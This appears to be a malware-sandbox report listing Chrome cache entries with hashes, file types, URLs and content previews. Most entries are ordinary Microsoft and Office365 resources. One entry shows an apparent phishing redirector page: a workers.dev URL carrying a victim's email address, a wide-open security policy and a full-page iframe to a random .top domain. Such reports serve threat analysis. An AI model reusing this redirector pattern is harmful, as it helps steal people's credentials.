URL:	https://passwordreset.microsoftonline.com/ScriptResource.axd?d=aZLH4mSlwVT2bfQsqN_cSwyYyu3ks1oNtEUpMeosxjDyVX_6TB3IW5CEdatXFuv2I4zJTROm0VtmRKop2xS7bo0w-Iix-BcMl2_cNtK35bqyAoFbyXyvBqrmEkdN4A7rfIluoWj_uDzkv387yziPFleU1xPL4uvNI8i9rGQ3gLT9Eo-Z4-W34GRU8l-e4ISM3aOfMGbZKuDklekpBXyFblmjFoJXOxTzBgqF-kp9hX41&t=74258c30
Preview:	//----------------------------------------------------------..// Copyright (C) Microsoft Corporation. All rights reserved...//----------------------------------------------------------..// MicrosoftAjaxWebForms.js..Type._registerScript("MicrosoftAjaxWebForms.js",["MicrosoftAjaxCore.js","MicrosoftAjaxSerialization.js","MicrosoftAjaxNetwork.js","MicrosoftAjaxComponentModel.js"]);Type.registerNamespace("Sys.WebForms");Sys.WebForms.BeginRequestEventArgs=function(c,b,a){Sys.WebForms.BeginRequestEventArgs.initializeBase(this);this._request=c;this._postBackElement=b;this._updatePanelsToUpdate=a};Sys.WebForms.BeginRequestEventArgs.prototype={get_postBackElement:function(){return this._postBackElement},get_request:function(){return this._request},get_updatePanelsToUpdate:function(){return this._updatePanelsToUpdate?Array.clone(this._updatePanelsToUpdate):[]}};Sys.WebForms.BeginRequestEventArgs.registerClass("Sys.WebForms.BeginRequestEventArgs",Sys.EventArgs);Sys.WebForms.EndRequestEventArgs=fun

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1561
Entropy (8bit):	7.762338770217686
Encrypted:	false
SSDEEP:	48:c/CeK/fE+XoVldIkPdTWbuf173xX964boBdIhLE:ntcx/Iksbuf17f64borIK
MD5:	8DC34013E911C5F68FC2BCA0400CB06F
SHA1:	16BAFA91AF100D65C4945F04E0C6E1643B98CF00
SHA-256:	795029D360C3D16233FCE96F1BFF13C261535C0885FAE806CFF766F32D96BCEE
SHA-512:	83ACA42A30BFD629BC1E88D3ED154475E7949C1B154D19E6C9EF1DE825BA7967C0B6DA9EE79E7B420668242CCE5931DF344C97278A254F0A72C3D09EABED6051
Malicious:	false
Reputation:	low
URL:	https://client.ppe.repmap.microsoft.com/Images/hipaudioplay.png?vv=100
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....pHYs...........S.....tEXtCreation Time.05/06/16...o....tEXtSoftware.Adobe Fireworks CS6.....qIDATh..=l.E.....H..H*.\|... ...&.D..).@....&...N....)_.E ...(.p...p(H...Ht... ..0............i.}s.....{`ss....;.......:...u..."....Az.r.%.9.\|....wU.j...o....N4...~....g.u.=`.;..9.7.%....Ad#......9....~7.....&.a........`]x^D....&,"..kv.l..K.S+!....#{.xm.;..%.+F<.\..#...bN...2...\.".I..U]..#.dWy$."r.2;Z...w)oD..H..u..M.'.k70.<4aG..`'~......k31W.2!Ue.A"..j....X..C...dNUd.... .j.\|c."..../..P.MXD......C`>7Y.K...n.....U..#..^4....Uu...Q.);.`9q.53..n.@.......A6.E,6.-d; ........nl.>..."..N7..9\6.....p^a..4aG...3...gUu#..j...2............f.....^.)...Udo'&..G.C.Z...L).....".t...pCD..n..a.....E....F...o.k.Y+b...[...gT..... ...]....V..m.!\..SCwh8w..J^.3N........\.W.....3.....lP.Da........-..........@_...i......r..%..)E.Q...3..M..o.$...`...".......-/EHIDZ.q.MC.......D.Q..".. ..#...................1...p.x?dKP.=...{u\.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 25, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	405
Entropy (8bit):	6.927238031773719
Encrypted:	false
SSDEEP:	6:6v/lhPGtyR8R/Chm+jnDs9cCXz6fXIpvI+WOcy0f11VTaENo+7PfW3e37zt1afwp:6v/7SyG/HYfXJOvU1zTa8o+W8
MD5:	D4FFE61373F6AA32EEB8CA7CD41AB980
SHA1:	4925FAC4BC73EFB7C7BBC32B11C435ECF1D61674
SHA-256:	D5C54FFC6B8BD44D932BE8F37B1CD5B666205C7574F9D56EF68E56F83E08FFAD
SHA-512:	0F7EDE96F20BB3C053C246FFE1EF8CE739CEF7757FAAED031A365299B88664A046557C2C7FDB3BADED070BA4EBA1A14950D7E3A066B4976BF07142CEFA48BEEB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............8.......sRGB.........gAMA......a.....pHYs..........+......tEXtSoftware.Adobe ImageReadyq.e<....IDAT8O...0...nf..y.,X4.g.I.h4..H.`.b.bA..f.n....%.=.iS.?N....^....A.(...~.i..m[.Qyz..iB..(...8...<G.........y..$.8....EQ.u]..I..(R.l...a...=..?t...CUU.......-..7.!..@.u0\..y.@..[a...p@.J.......e..>.Y..i..>A...+.,[. X9..z....B.4..+)..`n/..Q..>...y....e<....IEND.B`.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 89 x 18, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1805
Entropy (8bit):	7.265265285391204
Encrypted:	false
SSDEEP:	24:oV1hpunQWwjx82lY2T32HEV8KJyJ3VAyKOGpxbAKJcyIXRP6VEBxX4pAE60KKAU9:4itNn2VMJ3R6breHDBBThFtYeD5B2
MD5:	BC89C1FBFBC227DC5A7ED9B2797E240D
SHA1:	8A9390297FDD0963C466CF2FD35D5B1F88A46B6A
SHA-256:	744A8CD0A4D15DFCF4A5D2E832FF556D950F8AF24D7B66104AB2EF4FE2605D9A
SHA-512:	C18F6B22F4AC5040E3FEBE8034AD3A3A3EF32CF3384BE6C3144B2EB04080F03111743D5B30AF3A1343AFD68A20AAE5972422C724107243D00CD9CF263DDC10C7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...Y.........0.r.....sRGB.........gAMA......a.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:BABFACAF901511E2BD4FDE5C526470CF" xmpMM:DocumentID="xmp.did:BABFACB0901511E2BD4FDE5C526470CF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BABFACAD901511E2BD4FDE5C526470CF" stRef:documentID="xmp.did:BABFACAE901511E2BD4FDE5C526470CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..R....fIDATXG.mq[1.E.!...3&...P.................3..~L..q.O..t..{...v?..n.....b#.-.i..

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Category:	downloaded
Size (bytes):	663451
Entropy (8bit):	5.3635307555313165
Encrypted:	false
SSDEEP:	12288:YhqblwQ9eTw/suNyIzaJS/pWYawUWufSxwDr2o/5YP1B:Yhqblt9e8/sMzaJS/pWYawUWufSxwDrW
MD5:	761CE9E68C8D14F49B8BF1A0257B69D6
SHA1:	8CF5D714D35EFFA54F3686065CB62CCE028E2C77
SHA-256:	BEAA65AD34340E61E9E701458E2CCFF8F9073FDEBBC3593A2C7EC8AFEACB69C1
SHA-512:	CEC948666FBA0F56D3DA27A931033C3A581C9C00FEC4D3DDCF41324525B5B5321AE3AB89581ECC7F497DE85EF684AB277C8A2DB393D526416CEB76C91A1B9263
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.0.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.0.mouse.js'] = (new Date()).getTime();../* Empty file */;Function.__typeName="Function";Function.__class=!0;Function.createCallback=function(n,t){return function(){var r=arguments.length;if(r>0){for(var u=[],i=0;i<r;i++)u[i]=arguments[i];u[r]=t;return n.apply(this,u)}return n.call(this,t)}};Function.prototype.bind=Function.prototype.bind\|\|function(n){if(typeof this!="function")throw new TypeError("bind(): we can only bind to functions");var u=Array.prototype.slice.call(arguments,1),r=this,t=function(){},i=function(){return r.apply(this instanceof t?this:n,u.concat(Array.prototype.slice.call(arguments)))};this.prototype&&(t.prototype=this.prototype);i.prototype=new t;return i};Function.createDelegate=function(n,t){return function(){return t.apply(n,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Error.__typeNam

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	662286
Entropy (8bit):	5.315860951951661
Encrypted:	false
SSDEEP:	12288:YfmmzLJTD/JilMGk4hBR310FaHHxpJy7qVfb4cSPo:Yfm+T7US7SR310FaHHTJy7qJ4rPo
MD5:	12204899D75FC019689A92ED57559B94
SHA1:	CCF6271C6565495B18C1CED2F7273D5875DBFB1F
SHA-256:	39DAFD5ACA286717D9515F24CF9BE0C594DFD1DDF746E6973B1CE5DE8B2DD21B
SHA-512:	AA397E6ABD4C54538E42CCEDA8E3AA64ACE76E50B231499C20E88CF09270AECD704565BC9BD3B27D90429965A0233F99F27697F66829734FF02511BD096CF030
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.2.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.2.mouse.js'] = (new Date()).getTime();.._y.lC=function(){};_y.lC.registerInterface("_y.lC");_y.jw=function(){};_y.jw.registerInterface("_y.jw");_y.lA=function(){};_y.lA.registerInterface("_y.lA");var IDelayedSendEvent=function(){};IDelayedSendEvent.registerInterface("IDelayedSendEvent");var IIsShowingComposeInReadingPaneEvent=function(){};IIsShowingComposeInReadingPaneEvent.registerInterface("IIsShowingComposeInReadingPaneEvent");var ISendFailedO365Event=function(){};ISendFailedO365Event.registerInterface("ISendFailedO365Event");var ISendFailureRemoveO365Event=function(){};ISendFailureRemoveO365Event.registerInterface("ISendFailureRemoveO365Event");_y.gw=function(){};_y.gw.registerInterface("_y.gw");_y.iB=function(){};_y.iB.registerInterface("_y.iB");_y.ih=function(){};_y.ih.registerInterface("_y.ih");_y.jy=function(){};_y.jy.regis

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1525
Entropy (8bit):	4.80220321270831
Encrypted:	false
SSDEEP:	24:jQB6rLbbhhye8jDjpfj/MALSj0eajoq0MgV05SkuVTgEbwe/sT5wiMa3sr6sHr3H:j8eLrynvlwIeyoJMluVEE0B7srH
MD5:	ACA0F1B02DC406E76DDC5F2BDEBEC6CE
SHA1:	594C930BE86B8843377565E349D2A10F1755A13A
SHA-256:	0446C6FD9AEB7DCD7CC089FA25323B1AE9AFA77B4CF8D4449F7D2D1B2467393A
SHA-512:	06887860F73D38799FFF8BF5B2972160B68C303EC904813861190E9A8A6477E4D300882994D661FDFC118C408625C537D8B28287DC9941D50302BD91C88ED98F
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/js/Common.js
Preview:	.....function GetCookieValue(cookieName)..{.. if (document.cookie == undefined \|\| document.cookie == "").. return "";.... var name = cookieName + "=";.. var cookieArray = document.cookie.split(';');.. for (var i = 0; i < cookieArray.length; i++).. {.. var clientCookie = cookieArray[i].trim();.. if (clientCookie.indexOf(name) == 0).. {.. return clientCookie.substring(name.length, clientCookie.length);.. }.. }.. return "";..}....function DeleteCookie(name)..{.. if (GetCookieValue(name).length > 0).. {.. document.cookie = name + "=" + ";expires=Thu, 01 Jan 2000 00:00:01 GMT";.. }..}....function GetUserSessionData(key) {.. var sessionStorage = window.sessionStorage;.. if (sessionStorage[key] == null) {.. return "";.. }.. return sessionStorage.getItem(key);..}....function SetUserSessionData(key, value) {.. var sessionStorage = window.sessionStorage;.. sessionStorage.setItem(key, val

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1289), with no line terminators
Category:	downloaded
Size (bytes):	1289
Entropy (8bit):	5.599683655599572
Encrypted:	false
SSDEEP:	24:0jHkqkVWgZL0OeyWoMWxezfRqRkUtQeQD/tWmW/IjWuIJxHhea:0fgR0OeFoXxceRY/omQuG7Ia
MD5:	5D9FA83E4A8F6694EAB29DB883091AE7
SHA1:	3D8929212D5B9C2D76B5C8AF4678A24FA0C50026
SHA-256:	D70881C5B332F8E2DDEB578703E61822BD260292DB4DE91A0AA75ECF410CC1DB
SHA-512:	55E2FFA03974CAFD89C82E6A0243BAAB2BB42FE0CF2875232D7F903FC341931900E5B58906B91BEB0440E3E7A91803971E10B7AF1CC128B43FB8DEB7B27ACB78
Malicious:	false
Reputation:	low
URL:	https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&
Preview:	<!doctype html><html><head><meta http-equiv="Content-Security-Policy" content="default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';"></head><body><iframe id="iframe" sandbox="allow-modals allow-same-origin allow-same-origin allow-scripts allow-popups allow-forms" name="iframe" width="100%" height="100%" src="https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3YtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImRvbWFpbiI6InYtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImtleSI6Ikd3Wmx6djNqUGJZViIsInFyYyI6InNoZXVlQDdoYWly

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	46376
Entropy (8bit):	4.760560792293901
Encrypted:	false
SSDEEP:	768:QgRN7ChZGd/5zEhQ49zXWV/eTSLtiMK7OQyOYZ:V1d/5edgVrlH
MD5:	DBFAC7887A157C9B73DC42927FC15B74
SHA1:	435FD188BF66F0207EEB298DD13228D17D36E4D1
SHA-256:	FC66E3943BC6EDC7B1F79D952D31DABCBA3BD576190DEEB9A7518CEE6B75C5A1
SHA-512:	C1918B35A03BD2110C2CB4EAD140BA342C54EE7BEE2C1E4B6582B56B86DA93AECDDA92DA626C7B15BDEBC067893ACD354919495551E71EE0C9D5993B43433958
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/js/Webtrends.js
Preview:	// WebTrends SmartSource Data Collector Tag..// Version: 8.6.2..// MS Version: 3.2.5..// Tag Builder Version: 3.0..// Created: 04/01/2011..function WebTrends() {.. var that = this;.. if (typeof (gDcsId) != "undefined" && gDcsId) this.dcsid = gDcsId;.. else this.dcsid = "not_a_valid_dcsid";.. if (typeof (gDomain) != "undefined" && gDomain) this.domain = gDomain;.. else this.domain = "m.webtrends.com";.. if (typeof (gTimeZone) != "undefined" && gTimeZone) this.timezone = gTimeZone;.. else this.timezone = -8;.. if (typeof (gFpcDom) != "undefined" && gFpcDom) this.fpcdom = gFpcDom;.. else {.. if (/microsoft.com$/.test(window.location.hostname)) {.. this.fpcdom = ".microsoft.com";.. } else {.. this.fpcdom = window.location.hostname;.. }.. }.. if (typeof (gOffsite) != "undefined" && gOffsite).. if (gOffsite == true \|\| gOffsite == "true") this.fpcdom = "";.. this.navigationtag = "div,table";.. if (typeof

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 22 x 22
Category:	downloaded
Size (bytes):	478
Entropy (8bit):	7.072122642964318
Encrypted:	false
SSDEEP:	12:d44xCq3nQQ5Q36sd0Tc/ET4Io9yjPy00EjNF8:d40CqXQQ5E69qEkI4Wy0lNF8
MD5:	309B41EE7A44BD51E5D1B52CCC620E5B
SHA1:	B162CE55DE01BF7C005F8CE4D4D7C32E7AEACA08
SHA-256:	F213507641FD02EC43981535823474ECFDE973D1B33A6CD385F1F0827FD4B528
SHA-512:	9279138126F8FEDD3AEF32BA4BCD78D3D26BBD4E7DE6F3B21014B96C34D7E69BC4C6471CC94772346CB6C7F9020EB5FE1A3A96686A5B250F5CCDEE54A0936F4D
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/images/hip_text.gif
Preview:	GIF89a.....;....333..........ZZY.........fff.........ssr...........................................................................................MML.........@@@....................................!.....;.,.............p.+.....9.P'..D.`..........t..pB\C.k..n...[..x7hRt..x7-}.92....}%p5.+..8..9552...n2...#.3//...3../33..."..3+.../9..22....3....+./.9.2......9.........3.....}(.).....5..........7......`...........,"J....D>Dlh...F4D(..I..I..@...!..0]B..d%..w...;

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 89 x 18, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1805
Entropy (8bit):	7.265265285391204
Encrypted:	false
SSDEEP:	24:oV1hpunQWwjx82lY2T32HEV8KJyJ3VAyKOGpxbAKJcyIXRP6VEBxX4pAE60KKAU9:4itNn2VMJ3R6breHDBBThFtYeD5B2
MD5:	BC89C1FBFBC227DC5A7ED9B2797E240D
SHA1:	8A9390297FDD0963C466CF2FD35D5B1F88A46B6A
SHA-256:	744A8CD0A4D15DFCF4A5D2E832FF556D950F8AF24D7B66104AB2EF4FE2605D9A
SHA-512:	C18F6B22F4AC5040E3FEBE8034AD3A3A3EF32CF3384BE6C3144B2EB04080F03111743D5B30AF3A1343AFD68A20AAE5972422C724107243D00CD9CF263DDC10C7
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/images/header_microsoft.png
